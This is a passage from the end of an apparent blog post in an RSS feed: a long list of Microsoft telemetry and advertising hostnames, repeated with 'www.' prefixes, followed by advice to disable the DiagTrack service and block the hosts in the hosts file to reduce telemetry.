hostnames.</p><ul><li>vortex.data.microsoft.com</li><li>vortex-win.data.microsoft.com</li><li>telecommand.telemetry.microsoft.com</li><li>telecommand.telemetry.microsoft.com.nsatc.net</li><li>oca.telemetry.microsoft.com</li><li>oca.telemetry.microsoft.com.nsatc.net</li><li>sqm.telemetry.microsoft.com</li><li>sqm.telemetry.microsoft.com.nsatc.net</li><li>watson.telemetry.microsoft.com</li><li>watson.telemetry.microsoft.com.nsatc.net</li><li>redir.metaservices.microsoft.com</li><li>choice.microsoft.com</li><li>choice.microsoft.com.nsatc.net</li><li>df.telemetry.microsoft.com</li><li>reports.wes.df.telemetry.microsoft.com</li><li>wes.df.telemetry.microsoft.com</li><li>services.wes.df.telemetry.microsoft.com</li><li>sqm.df.telemetry.microsoft.com</li><li>telemetry.microsoft.com</li><li>watson.ppe.telemetry.microsoft.com</li><li>telemetry.appex.bing.net</li><li>telemetry.urs.microsoft.com</li><li>urs.microsoft.com</li><li>bing.com</li><li>telemetry.appex.bing.net:443</li><li>settings-sandbox.data.microsoft.com</li><li>vortex-sandbox.data.microsoft.com</li><li>survey.watson.microsoft.com</li><li>watson.live.com</li><li>watson.microsoft.com</li><li>statsfe2.ws.microsoft.com</li><li>corpext.msitadfs.glbdns2.microsoft.com</li><li>compatexchange.cloudapp.net</li><li>cs1.wpc.v0cdn.net</li><li>a-0001.a-msedge.net</li><li>statsfe2.update.microsoft.com.akadns.net</li><li>sls.update.microsoft.com.akadns.net</li><li>fe2.update.microsoft.com.akadns.net</li><li>diagnostics.support.microsoft.com</li><li>corp.sts.microsoft.com</li><li>statsfe1.ws.microsoft.com</li><li>pre.footprintpredict.com</li><li>i1.services.social.microsoft.com</li><li>i1.services.social.microsoft.com.nsatc.net</li><li>feedback.windows.com</li><li>feedback.microsoft-hohm.com</li><li>feedback.search.microsoft.com</li><li>public-family.api.account.microsoft.com</li><li>adnxs.com</li><li>c.msn.com</li><li>g.msn.com</li><li>h1.msn.com</li><li>msedge.net</li><li>rad.msn.com</li><li>ads.msn.com</li><li>adnexus.net</li><li>ac3.msn.com</li><li>c.atdmt.com</li><li>m.adnxs.com</li><li>sO.2mdn.net</li><li>ads1.msn.com</li><li>ec.atdmt.com</li><li>flex.msn.com</li><li>rad.live.com</li><li>ui.skype.com</li><li>msftncsi.com</li><li>a-msedge.net</li><li>a.rad.msn.com</li><li>b.rad.msn.com</li><li>cdn.atdmt.com</li><li>m.hotmail.com</li><li>ads1.msads.net</li><li>a.ads1.msn.com</li><li>a.ads2.msn.com</li><li>apps.skype.com</li><li>b.ads1.msn.com</li><li>view.atdmt.com</li><li>preview.msn.com</li><li>aidps.atdmt.com</li><li>static.2mdn.net</li><li>a.ads2.msads.net</li><li>b.ads2.msads.net</li><li>db3aqu.atdmt.com</li><li>secure.adnxs.com</li><li><a href="http://www.msftncsi.com">www.msftncsi.com</a></li><li>live.rads.msn.com</li><li>ad.doubleclick.net</li><li>bs.serving-sys.com</li><li>pricelist.skype.com</li><li>a-0002.a-msedge.net</li><li>a-0003.a-msedge.net</li><li>a-0004.a-msedge.net</li><li>a-0005.a-msedge.net</li><li>a-0006.a-msedge.net</li><li>a-0007.a-msedge.net</li><li>a-0008.a-msedge.net</li><li>a-0009.a-msedge.net</li><li>aka-cdn-ns.adtech.de</li><li>cds26.ams9.msecn.net</li><li>lb1.<a href="http://www.ms.akadns.net">www.ms.akadns.net</a></li><li>az361816.vo.msecnd.net</li><li>az512334.vo.msecnd.net</li><li>msntest.serving-sys.com</li><li>secure.flashtalking.com</li><li>s.gateway.messenger.live.com</li><li>schemas.microsoft.akadns.net</li><li>settings-win.data.microsoft.com</li><li>msnbot-65–55–108–23.search.msn.com</li><li>vortex-bn2.metron.live.com.nsatc.net</li><li>vortex-cy2.metron.live.com.nsatc.net</li><li><a href="http://www.vortex.data.microsoft.com">www.vortex.data.microsoft.com</a></li><li><a href="http://www.vortex-win.data.microsoft.com">www.vortex-win.data.microsoft.com</a></li><li><a href="http://www.telecommand.telemetry.microsoft.com">www.telecommand.telemetry.microsoft.com</a></li><li><a href="http://www.telecommand.telemetry.microsoft.com.nsatc.net">www.telecommand.telemetry.microsoft.com.nsatc.net</a></li><li><a href="http://www.oca.telemetry.microsoft.com">www.oca.telemetry.microsoft.com</a></li><li><a href="http://www.oca.telemetry.microsoft.com.nsatc.net">www.oca.telemetry.microsoft.com.nsatc.net</a></li><li><a href="http://www.sqm.telemetry.microsoft.com">www.sqm.telemetry.microsoft.com</a></li><li><a href="http://www.sqm.telemetry.microsoft.com.nsatc.net">www.sqm.telemetry.microsoft.com.nsatc.net</a></li><li><a href="http://www.watson.telemetry.microsoft.com">www.watson.telemetry.microsoft.com</a></li><li><a href="http://www.watson.telemetry.microsoft.com.nsatc.net">www.watson.telemetry.microsoft.com.nsatc.net</a></li><li><a href="http://www.redir.metaservices.microsoft.com">www.redir.metaservices.microsoft.com</a></li><li><a href="http://www.choice.microsoft.com">www.choice.microsoft.com</a></li><li><a href="http://www.choice.microsoft.com.nsatc.net">www.choice.microsoft.com.nsatc.net</a></li><li><a href="http://www.df.telemetry.microsoft.com">www.df.telemetry.microsoft.com</a></li><li><a href="http://www.reports.wes.df.telemetry.microsoft.com">www.reports.wes.df.telemetry.microsoft.com</a></li><li><a href="http://www.wes.df.telemetry.microsoft.com">www.wes.df.telemetry.microsoft.com</a></li><li><a href="http://www.services.wes.df.telemetry.microsoft.com">www.services.wes.df.telemetry.microsoft.com</a></li><li><a href="http://www.sqm.df.telemetry.microsoft.com">www.sqm.df.telemetry.microsoft.com</a></li><li><a href="http://www.telemetry.microsoft.com">www.telemetry.microsoft.com</a></li><li><a href="http://www.watson.ppe.telemetry.microsoft.com">www.watson.ppe.telemetry.microsoft.com</a></li><li><a href="http://www.telemetry.appex.bing.net">www.telemetry.appex.bing.net</a></li><li><a href="http://www.telemetry.urs.microsoft.com">www.telemetry.urs.microsoft.com</a></li><li><a href="http://www.urs.microsoft.com">www.urs.microsoft.com</a></li><li><a href="http://www.bing.com">www.bing.com</a></li><li><a href="http://www.telemetry.appex.bing.net:443">www.telemetry.appex.bing.net:443</a></li><li><a href="http://www.settings-sandbox.data.microsoft.com">www.settings-sandbox.data.microsoft.com</a></li><li><a href="http://www.vortex-sandbox.data.microsoft.com">www.vortex-sandbox.data.microsoft.com</a></li><li><a href="http://www.survey.watson.microsoft.com">www.survey.watson.microsoft.com</a></li><li><a href="http://www.watson.live.com">www.watson.live.com</a></li><li><a href="http://www.watson.microsoft.com">www.watson.microsoft.com</a></li><li><a href="http://www.statsfe2.ws.microsoft.com">www.statsfe2.ws.microsoft.com</a></li><li><a href="http://www.corpext.msitadfs.glbdns2.microsoft.com">www.corpext.msitadfs.glbdns2.microsoft.com</a></li><li><a href="http://www.compatexchange.cloudapp.net">www.compatexchange.cloudapp.net</a></li><li><a href="http://www.cs1.wpc.v0cdn.net">www.cs1.wpc.v0cdn.net</a></li><li><a href="http://www.a-0001.a-msedge.net">www.a-0001.a-msedge.net</a></li><li><a href="http://www.statsfe2.update.microsoft.com.akadns.net">www.statsfe2.update.microsoft.com.akadns.net</a></li><li><a href="http://www.sls.update.microsoft.com.akadns.net">www.sls.update.microsoft.com.akadns.net</a></li><li><a href="http://www.fe2.update.microsoft.com.akadns.net">www.fe2.update.microsoft.com.akadns.net</a></li><li><a href="http://www.diagnostics.support.microsoft.com">www.diagnostics.support.microsoft.com</a></li><li><a href="http://www.corp.sts.microsoft.com">www.corp.sts.microsoft.com</a></li><li><a href="http://www.statsfe1.ws.microsoft.com">www.statsfe1.ws.microsoft.com</a></li><li><a href="http://www.pre.footprintpredict.com">www.pre.footprintpredict.com</a></li><li><a href="http://www.i1.services.social.microsoft.com">www.i1.services.social.microsoft.com</a></li><li><a href="http://www.i1.services.social.microsoft.com.nsatc.net">www.i1.services.social.microsoft.com.nsatc.net</a></li><li><a href="http://www.feedback.windows.com">www.feedback.windows.com</a></li><li><a href="http://www.feedback.microsoft-hohm.com">www.feedback.microsoft-hohm.com</a></li><li><a href="http://www.feedback.search.microsoft.com">www.feedback.search.microsoft.com</a></li><li><a href="http://www.public-family.api.account.microsoft.com">www.public-family.api.account.microsoft.com</a></li><li><a href="http://www.adnxs.com">www.adnxs.com</a></li><li><a href="http://www.c.msn.com">www.c.msn.com</a></li><li><a href="http://www.g.msn.com">www.g.msn.com</a></li><li><a href="http://www.h1.msn.com">www.h1.msn.com</a></li><li><a href="http://www.msedge.net">www.msedge.net</a></li><li><a href="http://www.rad.msn.com">www.rad.msn.com</a></li><li><a href="http://www.ads.msn.com">www.ads.msn.com</a></li><li><a href="http://www.adnexus.net">www.adnexus.net</a></li><li><a href="http://www.ac3.msn.com">www.ac3.msn.com</a></li><li><a href="http://www.c.atdmt.com">www.c.atdmt.com</a></li><li><a href="http://www.m.adnxs.com">www.m.adnxs.com</a></li><li><a href="http://www.sO.2mdn.net">www.sO.2mdn.net</a></li><li><a href="http://www.ads1.msn.com">www.ads1.msn.com</a></li><li><a href="http://www.ec.atdmt.com">www.ec.atdmt.com</a></li><li><a href="http://www.flex.msn.com">www.flex.msn.com</a></li><li><a href="http://www.rad.live.com">www.rad.live.com</a></li><li><a href="http://www.ui.skype.com">www.ui.skype.com</a></li><li><a href="http://www.msftncsi.com">www.msftncsi.com</a></li><li><a href="http://www.a-msedge.net">www.a-msedge.net</a></li><li><a href="http://www.a.rad.msn.com">www.a.rad.msn.com</a></li><li><a href="http://www.b.rad.msn.com">www.b.rad.msn.com</a></li><li><a href="http://www.cdn.atdmt.com">www.cdn.atdmt.com</a></li><li><a href="http://www.m.hotmail.com">www.m.hotmail.com</a></li><li><a href="http://www.ads1.msads.net">www.ads1.msads.net</a></li><li><a href="http://www.a.ads1.msn.com">www.a.ads1.msn.com</a></li><li><a href="http://www.a.ads2.msn.com">www.a.ads2.msn.com</a></li><li><a href="http://www.apps.skype.com">www.apps.skype.com</a></li><li><a href="http://www.b.ads1.msn.com">www.b.ads1.msn.com</a></li><li><a href="http://www.view.atdmt.com">www.view.atdmt.com</a></li><li><a href="http://www.preview.msn.com">www.preview.msn.com</a></li><li><a href="http://www.aidps.atdmt.com">www.aidps.atdmt.com</a></li><li><a href="http://www.static.2mdn.net">www.static.2mdn.net</a></li><li><a href="http://www.a.ads2.msads.net">www.a.ads2.msads.net</a></li><li><a href="http://www.b.ads2.msads.net">www.b.ads2.msads.net</a></li><li><a href="http://www.db3aqu.atdmt.com">www.db3aqu.atdmt.com</a></li><li><a href="http://www.secure.adnxs.com">www.secure.adnxs.com</a></li><li><a href="http://www.www.msftncsi.com">www.www.msftncsi.com</a></li><li><a href="http://www.live.rads.msn.com">www.live.rads.msn.com</a></li><li><a href="http://www.ad.doubleclick.net">www.ad.doubleclick.net</a></li><li><a href="http://www.bs.serving-sys.com">www.bs.serving-sys.com</a></li><li><a href="http://www.pricelist.skype.com">www.pricelist.skype.com</a></li><li><a href="http://www.a-0002.a-msedge.net">www.a-0002.a-msedge.net</a></li><li><a href="http://www.a-0003.a-msedge.net">www.a-0003.a-msedge.net</a></li><li><a href="http://www.a-0004.a-msedge.net">www.a-0004.a-msedge.net</a></li><li><a href="http://www.a-0005.a-msedge.net">www.a-0005.a-msedge.net</a></li><li><a href="http://www.a-0006.a-msedge.net">www.a-0006.a-msedge.net</a></li><li><a href="http://www.a-0007.a-msedge.net">www.a-0007.a-msedge.net</a></li><li><a href="http://www.a-0008.a-msedge.net">www.a-0008.a-msedge.net</a></li><li><a href="http://www.a-0009.a-msedge.net">www.a-0009.a-msedge.net</a></li><li><a href="http://www.aka-cdn-ns.adtech.de">www.aka-cdn-ns.adtech.de</a></li><li><a href="http://www.cds26.ams9.msecn.net">www.cds26.ams9.msecn.net</a></li><li><a href="http://www.lb1.www.ms.akadns.net">www.lb1.www.ms.akadns.net</a></li><li><a href="http://www.az361816.vo.msecnd.net">www.az361816.vo.msecnd.net</a></li><li><a href="http://www.az512334.vo.msecnd.net">www.az512334.vo.msecnd.net</a></li><li><a href="http://www.msntest.serving-sys.com">www.msntest.serving-sys.com</a></li><li><a href="http://www.secure.flashtalking.com">www.secure.flashtalking.com</a></li><li><a href="http://www.s.gateway.messenger.live.com">www.s.gateway.messenger.live.com</a></li><li><a href="http://www.schemas.microsoft.akadns.net">www.schemas.microsoft.akadns.net</a></li><li><a href="http://www.settings-win.data.microsoft.com">www.settings-win.data.microsoft.com</a></li><li><a href="http://www.msnbot-65-55-108-23.search.msn.com">www.msnbot-65–55–108–23.search.msn.com</a></li><li><a href="http://www.vortex-bn2.metron.live.com.nsatc.net">www.vortex-bn2.metron.live.com.nsatc.net</a></li><li><a href="http://www.vortex-cy2.metron.live.com.nsatc.net">www.vortex-cy2.metron.live.com.nsatc.net</a></li></ul><p>If you want to minimize telemetry, you can disable the <code>DiagTrack</code> service and put the above hostnames in your hosts file. That should block outgoing traffic. You can use Wireshark or any other packet monitoriong tool such as <a href="https://github.com/abhishekwl/Network-monitor">this</a> to check it out yourself.</p></div>]]></content:encoded>
        </item>
    </channel>
</rss>